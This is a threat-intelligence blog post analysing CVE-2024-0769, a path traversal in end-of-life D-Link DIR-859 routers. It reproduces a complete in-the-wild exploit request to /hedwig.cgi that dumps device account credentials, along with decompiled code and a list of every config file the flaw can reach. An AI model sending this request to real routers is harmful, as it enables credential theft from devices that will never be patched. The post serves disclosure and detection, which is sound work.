Perma-Vuln: D-Link DIR-859, CVE-2024-0769

CVE-2024-0769 affects D-Link DIR-859 WiFi routers. All revisions, all firmware, and the product is End-of-Life (EOL) meaning it will never recieve a patch.
vulnerabilities
cybersecurity
Author

Remy

Published

June 25, 2024

Recently Sift caught an interesting payload. As it turns out, the exploit was CVE-2024-0769, which is now tagged here: D-Link DIR-859 Information Disclosure Attempt .

This vulnerability is a path traversal leading to information disclosure. But, perhaps most notably, it affects D-Link DIR-859 WiFi routers. All revisions. All firmware. And the product is End-of-Life (EOL) meaning it will never receive a patch.

The original disclosure/writeup is available here and uses DIR-859 Firmware RevA_FW_Patch_v1.06B01. For their PoC, they demonstrate utilizing the path traversal to trigger the rendering of:

GreyNoise observed a slight variation in-the-wild which leverages the vulnerability to render a different PHP file to dump account names, passwords, groups, and descriptions for all users of the device. At the time of writing we are not aware of the motivations to disclose/collect this information and are actively monitoring it:

POST /hedwig.cgi HTTP/1.1
Host: <ip>:8088
Content-Length: 141
Content-Type: text/xml
Cookie: uid=R8tBjwtFc8
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)

<?xml version="1.0" encoding="utf-8"?>
<postxml><module><service>
../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml
</service></module></postxml>

Let’s take a quick peek at how it works and what’s different from the original PoC.

What it is?

On a D-Link DIR-859, HTTP requests to POST /hedwig.cgi and pretty much all other CGI calls actually go through a single binary located at /htdocs/cgibin and are handled with a large branching main function with a jump table:

// main
if (strcmp($s0, "captcha.cgi") == 0)
{
    $t9 = captchacgi_main;
    argc_1 = argc;
}
else if (strcmp($s0, "hedwig.cgi") == 0)
{
    $t9 = hedwigcgi_main;
    argc_1 = argc;
}
else if (strcmp($s0, "pigwidgeon.cgi") == 0)
{
    $t9 = pigwidgeoncgi_main;
    argc_1 = argc;
}

The request is then passed to hedwigcgi_main where the vulnerable code section is reached. User-controlled data is formatted with snprintf and passed to the PHP file /htdocs/webinc/fatlady.php via a call to xmldbc_ephp.

// hedwigcgi_main
            /* Payload is checked to contain postxml */
pcVar1 = strstr(DAT_00437430,"<postxml>");
            /* Copy parent XML node (module) */
if (pcVar1 != (char *)0x0) {
  fprintf(pFVar3,"%s\n",pcVar1);
}
ppcVar7 = local_4bc + iVar9;
            /* Close all XML nodes */
do {
  iVar5 = iVar5 + -1;
  fprintf(pFVar3,"</%s>\n",*ppcVar7);
  ppcVar7 = ppcVar7 + -1;
} while (0 < iVar5);
            /* Flush output to disk as temp file */
fflush(pFVar3);
            /* Read the file through xmldbc and remove temp file  */
xmldbc_read((char *)0x0,2,"/var/tmp/temp.xml");
iVar5 = fileno(pFVar3);
lockf(iVar5,0,0);
fclose(pFVar3);
remove("/var/tmp/temp.xml");
puVar4 = sobj_get_string(iVar2);
            /* Where the magic happens */
            /* User-controlled <service> node is formatted for fatlady.php */
snprintf(acStack_428,0x400,"/htdocs/webinc/fatlady.php\nprefix=%s/%s\nPrivateKey=%s\n",
         "/runtime/session",puVar4,privatekey);
            /* Execute the PHP file */
xmldbc_ephp((char *)0x0,0,acStack_428,_stdout);

The relevant portions of /htdocs/webinc/fatlady.php are shown below for how they parse and resolve the (now) user controlled module->service.

fatlady.php

HTTP/1.1 200 OK
Content-Type: text/xml

<?
include "/htdocs/phplib/trace.php";
// <SNIP>
foreach ($prefix."/postxml/module")
{
    del("valid");
    if (query("FATLADY")=="ignore") continue;
    $service = query("service");
    if ($service == "") continue;
    TRACE_debug("FATLADY: got service [".$service."]");
    // This is where the user-controlled data is injected
    // for a path traversal
    $target = "/htdocs/phplib/fatlady/".$service.".php";
    $FATLADY_prefix = $prefix."/postxml/module:".$InDeX;
    $FATLADY_base   = $prefix."/postxml";
    if (isfile($target)==1) dophp("load", $target);
    else
    {
        // <SNIP>
    }
    if ($FATLADY_result!="OK") break;
}
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
echo "<hedwig>\n";
echo "\t<result>".  $FATLADY_result.    "</result>\n";
echo "\t<node>".    $FATLADY_node.      "</node>\n";
echo "\t<message>". $FATLADY_message.   "</message>\n";
echo "</hedwig>\n";
?>

What it do?

In the originally provided PoC the path traversal vulnerability was used to render DHCPS6.BRIDGE-1.xml, which is actually just a stub that includes DHCPS6.LAN-1.xml. These can be arbitrarily substituted with the same end result as shown in the original writeup: disclosing plaintext username/password.

In the variation as observed by GreyNoise DEVICE.ACCOUNT.xml is utilized. We went ahead and retrieved this file in full. While the exploit conditions are the same as the public PoC, the variation as observed by GreyNoise is dumping all name, password, group, and description for all users of the device.

DEVICE.ACCOUNT.xml.php

<module>
    <service><?=$GETCFG_SVC?></service>
    <device>
        <account>
<?
$cnt = query("/device/account/count");
if ($cnt=="") $cnt=0;
echo "\t\t\t<seqno>".query("/device/account/seqno")."</seqno>\n";
echo "\t\t\t<max>".query("/device/account/max")."</max>\n";
echo "\t\t\t<count>".$cnt."</count>\n";
foreach("/device/account/entry")
{
    if ($InDeX > $cnt) break;
    if (query("password")=="") $pwd = ""; else $pwd = "==OoXxGgYy==";
    echo "\t\t\t<entry>\n";
    echo "\t\t\t\t<name>".      get("x","name").    "</name>\n";
    echo "\t\t\t\t<password>".  $pwd.               "</password>\n";
    echo "\t\t\t\t<group>".     get("x", "group").  "</group>\n";
    echo "\t\t\t\t<description>".get("x","description")."</description>\n";
    echo "\t\t\t</entry>\n";
}
?>      </account>
        <session>
<?
    echo dump(3, "/device/session");
?>      </session>
    </device>
</module>

What it for?

It is unclear at this time what the intended use of this disclosed information is, it should be noted that these devices will never receive a patch. Any information disclosed from the device will remain valuable to attackers for the lifetime of the device as long as it remains internet facing. These attributes make for the potential of a long-tail of exploitation that may come to a head at a later date, such as through a currently unknown authenticated RCE vulnerability in the affected device.

We’ll continue to keep a close eye on relevant activity.

As such, all of the possible variations of other getcfg files that can be invoked using CVE-2024-0769 are listed after the break for to help security researchers locate this blog via search engines for any variations of exploitation that may crop up in the future.


ACL.xml.php                 MULTICAST.xml.php
BRIDGE.xml.php              NAT.xml.php
BWC.xml.php                 NETSNIPER.NAT-1.xml.php
CALLMGR.xml.php             PFWD.NAT-1.xml.php
CALL.MISSED.xml.php         PFWD.NAT-2.xml.php
DDNS4.INF.xml.php           PHYINF.BRIDGE-1.xml.php
DDNS4.WAN-1.xml.php         PHYINF.LAN-1.xml.php
DDNS4.WAN-2.xml.php         PHYINF.WAN-1.xml.php
DDNS4.WAN-3.xml.php         PHYINF.WIFI.xml.php
DEVICE.ACCOUNT.xml.php      PORTT.NAT-1.xml.php
DEVICE.DIAGNOSTIC.xml.php   QOS.xml.php
DEVICE.HOSTNAME.xml.php     ROUTE6.DYNAMIC.xml.php
DEVICE.LAYOUT.xml.php       ROUTE6.STATIC.xml.php
DEVICE.LOG.xml.php          ROUTE.DESTNET.xml.php
DEVICE.PASSTHROUGH.xml.php  ROUTE.IPUNNUMBERED.xml.php
DEVICE.RDNSS.xml.php        ROUTE.STATIC.xml.php
DEVICE.TIME.xml.php         RUNTIME.CLIENTS.xml.php
DHCPS4.BRIDGE-1.xml.php     RUNTIME.CONNSTA.xml.php
DHCPS4.INF.xml.php          RUNTIME.DDNS4.WAN-1.xml.php
DHCPS4.LAN-1.xml.php        RUNTIME.DEVICE.xml.php
DHCPS4.LAN-2.xml.php        RUNTIME.DFS.xml.php
DHCPS6.BRIDGE-1.xml.php     RUNTIME.INF.BRIDGE-1.xml.php
DHCPS6.INF.xml.php          RUNTIME.INF.LAN-1.xml.php
DHCPS6.LAN-1.xml.php        RUNTIME.INF.LAN-2.xml.php
DHCPS6.LAN-2.xml.php        RUNTIME.INF.LAN-4.xml.php
DHCPS6.LAN-3.xml.php        RUNTIME.INF.LAN-5.xml.php
DHCPS6.LAN-4.xml.php        RUNTIME.INF.LAN-6.xml.php
DMZ.NAT-1.xml.php           RUNTIME.INF.WAN-1.xml.php
DMZ.NAT-2.xml.php           RUNTIME.INF.WAN-2.xml.php
DNS4.INF.xml.php            RUNTIME.INF.WAN-3.xml.php
DNS4.LAN-1.xml.php          RUNTIME.INF.WAN-4.xml.php
DNS4.LAN-2.xml.php          RUNTIME.INF.xml.php
FDISK.xml.php               RUNTIME.LOG.xml.php
FIREWALL-2.xml.php          RUNTIME.OPERATOR.xml.php
FIREWALL-3.xml.php          RUNTIME.PHYINF.ETH-1.xml.php
FIREWALL6.xml.php           RUNTIME.PHYINF.ETH-2.xml.php
FIREWALL.xml.php            RUNTIME.PHYINF.ETH-3.xml.php
HTTP.WAN-1.xml.php          RUNTIME.PHYINF.WLAN-1.xml.php
HTTP.WAN-2.xml.php          RUNTIME.PHYINF.WLAN-2.xml.php
HTTP.WAN-3.xml.php          RUNTIME.PHYINF.xml.php
ICMP.WAN-1.xml.php          RUNTIME.ROUTE.DYNAMIC.xml.php
ICMP.WAN-2.xml.php          RUNTIME.TIME.xml.php
ICMP.WAN-3.xml.php          RUNTIME.TTY.xml.php
INET.BRIDGE-1.xml.php       RUNTIME.UPNP.PORTM.xml.php
INET.INF.xml.php            RUNTIME.WPS.WLAN-1.xml.php
INET.LAN-1.xml.php          SCHEDULE.xml.php
INET.LAN-2.xml.php          SMS.SEND.xml.php
INET.LAN-3.xml.php          SMS.xml.php
INET.LAN-4.xml.php          STARSPEED.WAN-1.xml.php
INET.LAN-5.xml.php          UPNP.BRIDGE-1.xml.php
INET.LAN-6.xml.php          UPNP.LAN-1.xml.php
INET.WAN-1.xml.php          UPNP.LAN-3.xml.php
INET.WAN-2.xml.php          URLCTRL.xml.php
INET.WAN-3.xml.php          VSVR.NAT-1.xml.php
INET.WAN-4.xml.php          VSVR.NAT-2.xml.php
INET.WAN-5.xml.php          WAN.RESTART.xml.php
INET.xml.php                WAN.xml.php
INF.xml.php                 WIFI.PHYINF.xml.php
IUM.xml.php                 WIFI.WLAN-1.xml.php
LAN.xml.php                 WIFI.WLAN-2.xml.php
MACCTRL.xml.php             WIFI.xml.php